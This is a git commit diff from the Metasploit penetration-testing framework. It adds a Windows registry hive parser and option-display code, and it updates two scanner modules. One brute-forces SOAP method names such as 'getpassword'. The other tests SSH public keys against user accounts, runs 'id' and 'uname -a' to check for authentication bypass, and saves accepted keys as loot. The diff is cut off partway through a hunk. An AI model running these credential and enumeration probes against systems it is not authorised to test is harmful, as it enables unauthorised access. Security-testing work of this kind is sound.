Merge branch 'master' of r7.github.com:rapid7/metasploit-framework
This commit is contained in:
commit
74a7d8fac6
2
README
2
README
|
@ -1,4 +1,4 @@
|
|||
Copyright (C) 2006-2011, Rapid7 LLC
|
||||
Copyright (C) 2006-2012, Rapid7 LLC
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
|
|
@ -312,9 +312,9 @@ class ReadableText
|
|||
next if (opt.advanced?)
|
||||
next if (opt.evasion?)
|
||||
|
||||
val = mod.datastore[name] || opt.default.to_s
|
||||
val_display = opt.display_value(mod.datastore[name] || opt.default)
|
||||
|
||||
tbl << [ name, val.to_s, opt.required? ? "yes" : "no", opt.desc ]
|
||||
tbl << [ name, val_display, opt.required? ? "yes" : "no", opt.desc ]
|
||||
}
|
||||
|
||||
return tbl.to_s
|
||||
|
|
|
@ -514,7 +514,7 @@ module Auxiliary::AuthBrute
|
|||
# name of the module, assuming the name is sensible like ssh_login or
|
||||
# smb_auth.
|
||||
def proto_from_fullname
|
||||
File.split(self.fullname).last.match(/^(.*)_(login|auth)/)[1].upcase rescue nil
|
||||
File.split(self.fullname).last.match(/^(.*)_(login|auth|identify)/)[1].upcase rescue nil
|
||||
end
|
||||
|
||||
# Legacy vprint
|
||||
|
|
|
@ -42,9 +42,16 @@ class Cred < ActiveRecord::Base
|
|||
end
|
||||
|
||||
def ssh_key_matches?(other_cred)
|
||||
return false unless self.ptype == "ssh_key"
|
||||
return false unless other_cred.ptype == self.ptype
|
||||
matches = self.ssh_private_keys
|
||||
return false unless other_cred.kind_of? self.class
|
||||
return false unless self.ptype == other_cred.ptype
|
||||
case self.ptype
|
||||
when "ssh_key"
|
||||
matches = self.ssh_private_keys
|
||||
when "ssh_pubkey"
|
||||
matches = self.ssh_public_keys
|
||||
else
|
||||
false
|
||||
end
|
||||
matches.include?(self) and matches.include?(other_cred)
|
||||
end
|
||||
|
||||
|
|
|
@ -81,6 +81,13 @@ class OptBase
|
|||
value
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a string representing a user-friendly display of the chosen value
|
||||
#
|
||||
def display_value(value)
|
||||
value.to_s
|
||||
end
|
||||
|
||||
#
|
||||
# The name of the option.
|
||||
#
|
||||
|
@ -137,6 +144,7 @@ end
|
|||
# OptEnum - Select from a set of valid values
|
||||
# OptAddressRange - A subnet or range of addresses
|
||||
# OptSession - A session identifier
|
||||
# OptRegexp - Valid Ruby regular expression
|
||||
#
|
||||
###
|
||||
|
||||
|
@ -440,6 +448,44 @@ class OptInt < OptBase
|
|||
end
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# Regexp option
|
||||
#
|
||||
###
|
||||
class OptRegexp < OptBase
|
||||
def type
|
||||
return 'regexp'
|
||||
end
|
||||
|
||||
def valid?(value)
|
||||
unless super
|
||||
return false
|
||||
end
|
||||
|
||||
begin
|
||||
Regexp.compile(value)
|
||||
|
||||
return true
|
||||
rescue RegexpError => e
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def normalize(value)
|
||||
return Regexp.compile(value)
|
||||
end
|
||||
|
||||
def display_value(value)
|
||||
if value.kind_of?(Regexp)
|
||||
return value.source
|
||||
elsif value.kind_of?(String)
|
||||
return display_value(normalize(value))
|
||||
end
|
||||
|
||||
return super
|
||||
end
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
|
|
|
@ -0,0 +1,13 @@
|
|||
require 'rex/registry/hive'
|
||||
require 'rex/registry/regf'
|
||||
require 'rex/registry/nodekey'
|
||||
require 'rex/registry/lfkey'
|
||||
require 'rex/registry/valuekey'
|
||||
require 'rex/registry/valuelist'
|
||||
|
||||
module Rex
|
||||
module Registry
|
||||
|
||||
attr_accessor :alias
|
||||
end
|
||||
end
|
|
@ -0,0 +1,110 @@
|
|||
require_relative "regf"
|
||||
require_relative "nodekey"
|
||||
|
||||
module Rex
|
||||
module Registry
|
||||
|
||||
class Hive
|
||||
attr_accessor :root_key, :hive_regf
|
||||
|
||||
def initialize(hivepath)
|
||||
|
||||
hive_blob = open(hivepath, "rb") { |io| io.read }
|
||||
@hive_regf = RegfBlock.new(hive_blob)
|
||||
|
||||
@root_key = NodeKey.new(hive_blob, 0x1000 + @hive_regf.root_key_offset)
|
||||
end
|
||||
|
||||
def relative_query(path)
|
||||
|
||||
if path == "" || path == "\\"
|
||||
return @root_key
|
||||
end
|
||||
|
||||
current_child = nil
|
||||
paths = path.split("\\")
|
||||
|
||||
return if !@root_key.lf_record
|
||||
|
||||
@root_key.lf_record.children.each do |child|
|
||||
next if child.name.downcase != paths[1].downcase
|
||||
|
||||
current_child = child
|
||||
|
||||
if paths.length == 2
|
||||
current_child.full_path = path
|
||||
return current_child
|
||||
end
|
||||
|
||||
2.upto(paths.length) do |i|
|
||||
|
||||
if i == paths.length
|
||||
current_child.full_path = path
|
||||
return current_child
|
||||
else
|
||||
if current_child.lf_record && current_child.lf_record.children
|
||||
current_child.lf_record.children.each do |c|
|
||||
next if c.name.downcase != paths[i].downcase
|
||||
|
||||
current_child = c
|
||||
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
return if !current_child
|
||||
|
||||
current_child.full_path = path
|
||||
return current_child
|
||||
end
|
||||
|
||||
def value_query(path)
|
||||
if path == "" || path == "\\"
|
||||
return nil
|
||||
end
|
||||
|
||||
paths = path.split("\\")
|
||||
|
||||
return if !@root_key.lf_record
|
||||
|
||||
@root_key.lf_record.children.each do |root_child|
|
||||
next if root_child.name.downcase != paths[1].downcase
|
||||
|
||||
current_child = root_child
|
||||
|
||||
if paths.length == 2
|
||||
return nil
|
||||
end
|
||||
|
||||
2.upto(paths.length - 1) do |i|
|
||||
next if !current_child.lf_record
|
||||
|
||||
current_child.lf_record.children.each do |c|
|
||||
next if c.name != paths[i]
|
||||
current_child = c
|
||||
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
if !current_child.value_list || current_child.value_list.values.length == 0
|
||||
return nil
|
||||
end
|
||||
|
||||
current_child.value_list.values.each do |value|
|
||||
next if value.name.downcase != paths[paths.length - 1].downcase
|
||||
|
||||
value.full_path = path
|
||||
return value
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,50 @@
|
|||
require_relative "nodekey"
|
||||
|
||||
module Rex
|
||||
module Registry
|
||||
|
||||
class LFBlock
|
||||
|
||||
attr_accessor :number_of_keys, :hash_records, :children
|
||||
|
||||
def initialize(hive_blob, offset)
|
||||
offset = offset + 4
|
||||
lf_header = hive_blob[offset, 2]
|
||||
|
||||
if lf_header !~ /lf/ && lf_header !~ /lh/
|
||||
return
|
||||
end
|
||||
|
||||
@number_of_keys = hive_blob[offset + 0x02, 2].unpack('C').first
|
||||
|
||||
@hash_records = []
|
||||
@children = []
|
||||
|
||||
hash_offset = offset + 0x04
|
||||
|
||||
1.upto(@number_of_keys) do |h|
|
||||
|
||||
hash = LFHashRecord.new(hive_blob, hash_offset)
|
||||
|
||||
@hash_records << hash
|
||||
|
||||
hash_offset = hash_offset + 0x08
|
||||
|
||||
@children << NodeKey.new(hive_blob, hash.nodekey_offset + 0x1000)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class LFHashRecord
|
||||
|
||||
attr_accessor :nodekey_offset, :nodekey_name_verification
|
||||
|
||||
def initialize(hive_blob, offset)
|
||||
@nodekey_offset = hive_blob[offset, 4].unpack('l').first
|
||||
@nodekey_name_verification = hive_blob[offset+0x04, 4].to_s
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,53 @@
|
|||
require_relative "lfkey"
|
||||
require_relative "valuelist"
|
||||
|
||||
module Rex
|
||||
module Registry
|
||||
|
||||
class NodeKey
|
||||
|
||||
attr_accessor :timestamp, :parent_offset, :subkeys_count, :lf_record_offset
|
||||
attr_accessor :value_count, :value_list_offset, :security_key_offset
|
||||
attr_accessor :class_name_offset, :name_length, :class_name_length, :full_path
|
||||
attr_accessor :name, :lf_record, :value_list, :class_name_data, :readable_timestamp
|
||||
|
||||
def initialize(hive, offset)
|
||||
|
||||
offset = offset + 0x04
|
||||
|
||||
nk_header = hive[offset, 2]
|
||||
nk_type = hive[offset+0x02, 2]
|
||||
|
||||
if nk_header !~ /nk/
|
||||
return
|
||||
end
|
||||
|
||||
@timestamp = hive[offset+0x04, 8].unpack('q').first
|
||||
@parent_offset = hive[offset+0x10, 4].unpack('l').first
|
||||
@subkeys_count = hive[offset+0x14, 4].unpack('l').first
|
||||
@lf_record_offset = hive[offset+0x1c, 4].unpack('l').first
|
||||
@value_count = hive[offset+0x24, 4].unpack('l').first
|
||||
@value_list_offset = hive[offset+0x28, 4].unpack('l').first
|
||||
@security_key_offset = hive[offset+0x2c, 4].unpack('l').first
|
||||
@class_name_offset = hive[offset+0x30, 4].unpack('l').first
|
||||
@name_length = hive[offset+0x48, 2].unpack('c').first
|
||||
@class_name_length = hive[offset+0x4a, 2].unpack('c').first
|
||||
@name = hive[offset+0x4c, @name_length].to_s
|
||||
|
||||
windows_time = @timestamp
|
||||
unix_time = windows_time/10000000-11644473600
|
||||
ruby_time = Time.at(unix_time)
|
||||
|
||||
@readable_timestamp = ruby_time
|
||||
|
||||
@lf_record = LFBlock.new(hive, @lf_record_offset + 0x1000) if @lf_record_offset != -1
|
||||
@value_list = ValueList.new(hive, @value_list_offset + 0x1000, @value_count) if @value_list_offset != -1
|
||||
|
||||
@class_name_data = hive[@class_name_offset + 0x04 + 0x1000, @class_name_length]
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,26 @@
|
|||
module Rex
|
||||
module Registry
|
||||
|
||||
class RegfBlock
|
||||
|
||||
attr_accessor :timestamp, :root_key_offset, :hive_name
|
||||
|
||||
def initialize(hive)
|
||||
|
||||
regf_header = hive[0x00, 4]
|
||||
|
||||
if regf_header !~ /regf/
|
||||
puts "Not a registry hive"
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
@timestamp = hive[0x0C, 8].unpack('q').first
|
||||
@root_key_offset = 0x20
|
||||
@hive_name = hive[0x30-1, 64].to_s.gsub("\x00", "")
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,66 @@
|
|||
module Rex
|
||||
module Registry
|
||||
|
||||
class ValueKey
|
||||
|
||||
attr_accessor :name_length, :length_of_data, :data_offset, :full_path
|
||||
attr_accessor :value_type, :readable_value_type, :name, :value
|
||||
|
||||
def initialize(hive, offset)
|
||||
offset = offset + 4
|
||||
|
||||
vk_header = hive[offset, 2]
|
||||
|
||||
if vk_header !~ /vk/
|
||||
puts "no vk at offset #{offset}"
|
||||
return
|
||||
end
|
||||
|
||||
@name_length = hive[offset+0x02, 2].unpack('c').first
|
||||
@length_of_data = hive[offset+0x04, 4].unpack('l').first
|
||||
@data_offset = hive[offset+ 0x08, 4].unpack('l').first
|
||||
@value_type = hive[offset+0x0C, 4].unpack('c').first
|
||||
|
||||
if @value_type == 1
|
||||
@readable_value_type = "Unicode character string"
|
||||
elsif @value_type == 2
|
||||
@readable_value_type = "Unicode string with %VAR% expanding"
|
||||
elsif @value_type == 3
|
||||
@readable_value_type = "Raw binary value"
|
||||
elsif @value_type == 4
|
||||
@readable_value_type = "Dword"
|
||||
elsif @value_type == 7
|
||||
@readable_value_type = "Multiple unicode strings separated with '\\x00'"
|
||||
end
|
||||
|
||||
flag = hive[offset+0x10, 2].unpack('c').first
|
||||
|
||||
if flag == 0
|
||||
@name = "Default"
|
||||
else
|
||||
@name = hive[offset+0x14, @name_length].to_s
|
||||
end
|
||||
|
||||
@value = ValueKeyData.new(hive, @data_offset, @length_of_data, @value_type, offset)
|
||||
end
|
||||
end
|
||||
|
||||
class ValueKeyData
|
||||
|
||||
attr_accessor :data
|
||||
|
||||
def initialize(hive, offset, length, datatype, parent_offset)
|
||||
offset = offset + 4
|
||||
|
||||
#If the data-size is lower than 5, the data-offset value is used to store
|
||||
#the data itself!
|
||||
if length < 5
|
||||
@data = hive[parent_offset + 0x08, 4]
|
||||
else
|
||||
@data = hive[offset + 0x1000, length]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,28 @@
|
|||
require_relative "valuekey"
|
||||
|
||||
module Rex
|
||||
module Registry
|
||||
|
||||
class ValueList
|
||||
|
||||
attr_accessor :values
|
||||
|
||||
def initialize(hive, offset, number_of_values)
|
||||
offset = offset + 4
|
||||
inner_offset = 0
|
||||
|
||||
@values = []
|
||||
|
||||
1.upto(number_of_values) do |v|
|
||||
valuekey_offset = hive[offset + inner_offset, 4]
|
||||
next if !valuekey_offset
|
||||
|
||||
valuekey_offset = valuekey_offset.unpack('l').first
|
||||
@values << ValueKey.new(hive, valuekey_offset + 0x1000)
|
||||
inner_offset = inner_offset + 4
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -42,7 +42,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptString.new('XMLSCHEMA', [ true, "XML Schema", 'http://www.w3.org/2001/XMLSchema']),
|
||||
OptString.new('XMLSOAP', [ true, "XML SOAP", 'http://schemas.xmlsoap.org/soap/envelope/']),
|
||||
OptString.new('CONTENTTYPE', [ true, "The HTTP Content-Type Header", 'application/x-www-form-urlencoded']),
|
||||
OptInt.new('SLEEP', [true, "Sleep this many seconds between requests", 0 ]),
|
||||
OptBool.new('DISPLAYHTML', [ true, "Display HTML response", false ]),
|
||||
OptBool.new('SSL', [ true, "Use SSL", false ]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
@ -53,6 +55,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
verbs = [
|
||||
'get',
|
||||
'active',
|
||||
'activate',
|
||||
'create',
|
||||
'change',
|
||||
'set',
|
||||
|
@ -74,33 +77,49 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'register',
|
||||
'log',
|
||||
'add',
|
||||
'list',
|
||||
'query',
|
||||
#'delete', # Best to be safe!
|
||||
]
|
||||
|
||||
nouns = [
|
||||
'password',
|
||||
'task',
|
||||
'tasks',
|
||||
'pass',
|
||||
'administration',
|
||||
'account',
|
||||
'accounts',
|
||||
'admin',
|
||||
'login',
|
||||
'logins',
|
||||
'token',
|
||||
'credentials',
|
||||
'tokens',
|
||||
'credential',
|
||||
'credentials',
|
||||
'key',
|
||||
'keys',
|
||||
'guid',
|
||||
'message',
|
||||
'messages',
|
||||
'user',
|
||||
'users',
|
||||
'username',
|
||||
'usernames',
|
||||
'load',
|
||||
'list',
|
||||
'name',
|
||||
'names',
|
||||
'file',
|
||||
'files',
|
||||
'path',
|
||||
'paths',
|
||||
'directory',
|
||||
'directories',
|
||||
'configuration',
|
||||
'configurations',
|
||||
'config',
|
||||
'configs',
|
||||
'setting',
|
||||
'settings',
|
||||
'registry',
|
||||
|
@ -111,79 +130,74 @@ class Metasploit3 < Msf::Auxiliary
|
|||
target_port = datastore['RPORT']
|
||||
vhost = datastore['VHOST'] || wmap_target_host || ip
|
||||
|
||||
# regular expressions for common rejection messages
|
||||
reject_regexen = []
|
||||
reject_regexen << Regexp.new("method \\S+ is not valid", true)
|
||||
reject_regexen << Regexp.new("Method \\S+ not implemented", true)
|
||||
reject_regexen << Regexp.new("unable to resolve WSDL method name", true)
|
||||
|
||||
begin
|
||||
# Check service exists
|
||||
res = send_request_raw({
|
||||
'uri' => datastore['PATH'],
|
||||
'method' => 'GET',
|
||||
'vhost' => vhost,
|
||||
}, 10)
|
||||
verbs.each do |v|
|
||||
nouns.each do |n|
|
||||
data_parts = []
|
||||
data_parts << "<?xml version=\"1.0\" encoding=\"utf-8\"?>"
|
||||
data_parts << "<soap:Envelope xmlns:xsi=\"#{datastore['XMLINSTANCE']}\" xmlns:xsd=\"#{datastore['XMLSCHEMA']}\" xmlns:soap=\"#{datastore['XMLSOAP']}\">"
|
||||
data_parts << "<soap:Body>"
|
||||
data_parts << "<#{v}#{n} xmlns=\"#{datastore['XMLNAMESPACE']}\">"
|
||||
data_parts << "</#{v}#{n}>"
|
||||
data_parts << "</soap:Body>"
|
||||
data_parts << "</soap:Envelope>"
|
||||
data_parts << nil
|
||||
data_parts << nil
|
||||
data = data_parts.join("\r\n")
|
||||
|
||||
if (res.code == 200)
|
||||
print_status("PATH appears to be OK.")
|
||||
res = send_request_raw({
|
||||
'uri' => datastore['PATH'] + '/' + v + n,
|
||||
'method' => 'POST',
|
||||
'vhost' => vhost,
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"',
|
||||
'Expect' => '100-continue',
|
||||
'Content-Type' => datastore['CONTENTTYPE'],
|
||||
}
|
||||
}, 15)
|
||||
|
||||
verbs.each do |v|
|
||||
nouns.each do |n|
|
||||
|
||||
# This could be cleaned up - patrickw
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<soap:Envelope xmlns:xsi="' + datastore['XMLINSTANCE'] + '" xmlns:xsd="' + datastore['XMLSCHEMA'] + '" xmlns:soap="' + datastore['XMLSOAP'] + '">' + "\r\n"
|
||||
data << '<soap:Body>' + "\r\n"
|
||||
data << "<#{v}#{n}" + " xmlns=\"#{datastore['XMLNAMESPACE']}\">" + "\r\n"
|
||||
data << "</#{v}#{n}>" + "\r\n"
|
||||
data << '</soap:Body>' + "\r\n"
|
||||
data << '</soap:Envelope>' + "\r\n\r\n"
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => datastore['PATH'] + '/' + v + n,
|
||||
'method' => 'POST',
|
||||
'vhost' => vhost,
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"',
|
||||
'Expect' => '100-continue',
|
||||
'Content-Type' => datastore['CONTENTTYPE'],
|
||||
}
|
||||
}, 15)
|
||||
|
||||
if (res && !(res.body.empty?))
|
||||
if (res.body =~ /method name is not valid/)
|
||||
print_status("Server rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
|
||||
elsif (res.message =~ /Cannot process the message because the content type/)
|
||||
print_status("Server rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.")
|
||||
res.message =~ /was not the expected type\s\'([^']+)'/
|
||||
print_status("Set CONTENTTYPE to \"#{$1}\"")
|
||||
return false
|
||||
elsif (res.code == 404)
|
||||
return false
|
||||
else
|
||||
print_status("Server responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
|
||||
## Add Report
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:sname => 'HTTP',
|
||||
:port => rport,
|
||||
:type => "SOAPAction: #{v}#{n}",
|
||||
:data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}."
|
||||
)
|
||||
if datastore['DISPLAYHTML']
|
||||
print_status("The HTML content follows:")
|
||||
print_status(res.body + "\r\n")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
else
|
||||
print_status("Server did not respond with 200 OK.")
|
||||
print_status(res.to_s)
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
if (res && !(res.body.empty?))
|
||||
if ((not reject_regexen.select { |r| res.body =~ r }.empty?))
|
||||
print_status("Server rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
|
||||
elsif (res.message =~ /Cannot process the message because the content type/)
|
||||
print_status("Server rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.")
|
||||
res.message =~ /was not the expected type\s\'([^']+)'/
|
||||
print_status("Set CONTENTTYPE to \"#{$1}\"")
|
||||
return false
|
||||
elsif (res.code == 404)
|
||||
print_status("Server returned HTTP 404 for #{datastore['PATH']}. Use a different one.")
|
||||
return false
|
||||
else
|
||||
print_status("Server responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
|
||||
## Add Report
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'tcp',
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:port => rport,
|
||||
:type => "SOAPAction: #{v}#{n}",
|
||||
:data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}."
|
||||
)
|
||||
if datastore['DISPLAYHTML']
|
||||
print_status("The HTML content follows:")
|
||||
print_status(res.body + "\r\n")
|
||||
end
|
||||
end
|
||||
end
|
||||
select(nil, nil, nil, datastore['SLEEP']) if (datastore['SLEEP'] > 0)
|
||||
end
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
|
||||
print_error(e)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -159,7 +159,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE'])
|
||||
keys = read_keyfile(datastore['KEY_FILE'])
|
||||
@keyfile_path = datastore['KEY_FILE'].dup
|
||||
cleartext_keys = pull_cleartext_keys(keys)
|
||||
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
|
||||
elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty?
|
||||
|
@ -167,10 +166,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
cleartext_keys = pull_cleartext_keys(keys)
|
||||
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)."
|
||||
elsif datastore['KEY_DIR']
|
||||
@keyfile_path = datastore['KEY_DIR'].dup
|
||||
return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir))
|
||||
unless @key_files
|
||||
@key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/}
|
||||
@key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/}
|
||||
end
|
||||
these_keys = @key_files.map {|f| File.join(key_dir,f)}
|
||||
keys = read_keyfile(these_keys)
|
||||
|
@ -214,14 +212,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
if datastore['SSH_BYPASS']
|
||||
data = nil
|
||||
|
||||
print_status("#{ip}:#{rport} - SSH - User #{user} is being tested for authentication bypass...")
|
||||
print_status("#{ip}:#{rport} SSH - User #{user} is being tested for authentication bypass...")
|
||||
|
||||
begin
|
||||
::Timeout.timeout(5) { data = ssh_socket.exec!("help\nid\nuname -a").to_s }
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
print_good("#{ip}:#{rport} - SSH - User #{user} successfully bypassed authentication: #{data.inspect} ") if data
|
||||
print_brute(:level => :good, :msg => "User #{user} successfully bypassed authentication: #{data.inspect} ") if data
|
||||
end
|
||||
|
||||
::Timeout.timeout(1) { ssh_socket.close } rescue nil
|
||||
|
@ -237,14 +235,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if accepted.length == 0
|
||||
if @key_files
|
||||
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}"
|
||||
print_brute :level => :verror, :msg => "User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}"
|
||||
else
|
||||
vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{key_idx+1} #{key_info}"
|
||||
print_brute :level => :verror, :msg => "User #{user} does not accept key #{key_idx+1} #{key_info}"
|
||||
end
|
||||
end
|
||||
|
||||
accepted.each do |key|
|
||||
print_good "#{ip}:#{rport} SSH - Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}"
|
||||
print_brute :level => :good, :msg => "Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}"
|
||||
do_report(ip, rport, user, key, key_data)
|
||||
end
|
||||
end
|
||||
|
@ -252,58 +250,43 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def do_report(ip, port, user, key, key_data)
|
||||
return unless framework.db.active
|
||||
store_keyfile_b64_loot(ip,user,key[:fingerprint])
|
||||
keyfile_path = store_keyfile(ip,user,key[:fingerprint],key_data)
|
||||
cred_hash = {
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:sname => 'ssh',
|
||||
:user => user,
|
||||
:pass => @keyfile_path,
|
||||
:pass => keyfile_path,
|
||||
:source_type => "user_supplied",
|
||||
:type => 'ssh_pubkey',
|
||||
:proof => "KEY=#{key[:fingerprint]}",
|
||||
:duplicate_ok => true,
|
||||
:active => true
|
||||
:active => true
|
||||
}
|
||||
this_cred = report_auth_info(cred_hash)
|
||||
end
|
||||
|
||||
# Checks if any existing privkeys matches the named key's
|
||||
# key id. If so, assign that other key's cred.id to this
|
||||
# one's proof section, and vice-versa.
|
||||
def cross_check_privkeys(key_id)
|
||||
return unless framework.db.active
|
||||
other_cred = nil
|
||||
framework.db.creds.each do |cred|
|
||||
next unless cred.ptype == "ssh_key"
|
||||
next unless cred.proof =~ /#{key_id}/
|
||||
other_cred = cred
|
||||
break
|
||||
end
|
||||
return other_cred
|
||||
def existing_loot(ltype, key_id)
|
||||
framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first
|
||||
end
|
||||
|
||||
# Sometimes all we have is a SSH_KEYFILE_B64 string. If it's
|
||||
# good, then store it as loot for this user@host, unless we
|
||||
# already have it in loot.
|
||||
def store_keyfile_b64_loot(ip,user,key_id)
|
||||
return unless db
|
||||
return if @keyfile_path
|
||||
return if datastore["SSH_KEYFILE_B64"].to_s.empty?
|
||||
keyfile = datastore["SSH_KEYFILE_B64"].unpack("m*").first
|
||||
keyfile = keyfile.strip + "\n"
|
||||
ktype_match = keyfile.match(/ssh-(rsa|dss)/)
|
||||
return unless ktype_match
|
||||
ktype = ktype_match[1].downcase
|
||||
ktype = "dsa" if ktype == "dss" # Seems sensible to recast it
|
||||
def store_keyfile(ip,user,key_id,key_data)
|
||||
safe_username = user.gsub(/[^A-Za-z0-9]/,"_")
|
||||
ktype = key_data.match(/ssh-(rsa|dss)/)[1] rescue nil
|
||||
return unless ktype
|
||||
ktype = "dsa" if ktype == "dss"
|
||||
ltype = "host.unix.ssh.#{user}_#{ktype}_public"
|
||||
# Assignment and comparison here, watch out!
|
||||
if loot = Msf::DBManager::Loot.find_by_ltype_and_workspace_id(ltype,myworkspace.id)
|
||||
if loot.info.include? key_id
|
||||
@keyfile_path = loot.path
|
||||
end
|
||||
end
|
||||
@keyfile_path ||= store_loot(ltype, "application/octet-stream", ip, keyfile.strip, nil, key_id)
|
||||
keyfile = existing_loot(ltype, key_id)
|
||||
return keyfile.path if keyfile
|
||||
keyfile_path = store_loot(
|
||||
ltype,
|
||||
"application/octet-stream", # Text, but always want to mime-type attach it
|
||||
ip,
|
||||
(key_data + "\n"),
|
||||
"#{safe_username}_#{ktype}.pub",
|
||||
key_id
|
||||
)
|
||||
return keyfile_path
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
@ -314,17 +297,17 @@ class Metasploit3 < Msf::Auxiliary
|
|||
ret, proof = do_login(ip, rport, user)
|
||||
case ret
|
||||
when :connection_error
|
||||
vprint_error "#{ip}:#{rport} - SSH - Could not connect"
|
||||
vprint_error "#{ip}:#{rport} SSH - Could not connect"
|
||||
:abort
|
||||
when :connection_disconnect
|
||||
vprint_error "#{ip}:#{rport} - SSH - Connection timed out"
|
||||
vprint_error "#{ip}:#{rport} SSH - Connection timed out"
|
||||
:abort
|
||||
when :fail
|
||||
vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'"
|
||||
vprint_error "#{ip}:#{rport} SSH - Failed: '#{user}'"
|
||||
when :missing_keyfile
|
||||
vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile"
|
||||
vprint_error "#{ip}:#{rport} SSH - Cannot read keyfile"
|
||||
when :no_valid_keys
|
||||
vprint_error "#{ip}:#{rport} - SSH - No readable keys in keyfile"
|
||||
vprint_error "#{ip}:#{rport} SSH - No readable keys in keyfile"
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::CommandShell
|
||||
|
||||
attr_accessor :ssh_socket, :good_credentials, :good_key
|
||||
attr_accessor :ssh_socket, :good_credentials, :good_key, :good_key_data
|
||||
|
||||
def initialize
|
||||
super(
|
||||
|
@ -147,7 +147,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def do_login(ip,user,port)
|
||||
if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE'])
|
||||
keys = read_keyfile(datastore['KEY_FILE'])
|
||||
@keyfile_path = datastore['KEY_FILE'].dup
|
||||
cleartext_keys = pull_cleartext_keys(keys)
|
||||
msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user."
|
||||
elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty?
|
||||
|
@ -155,7 +154,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
cleartext_keys = pull_cleartext_keys(keys)
|
||||
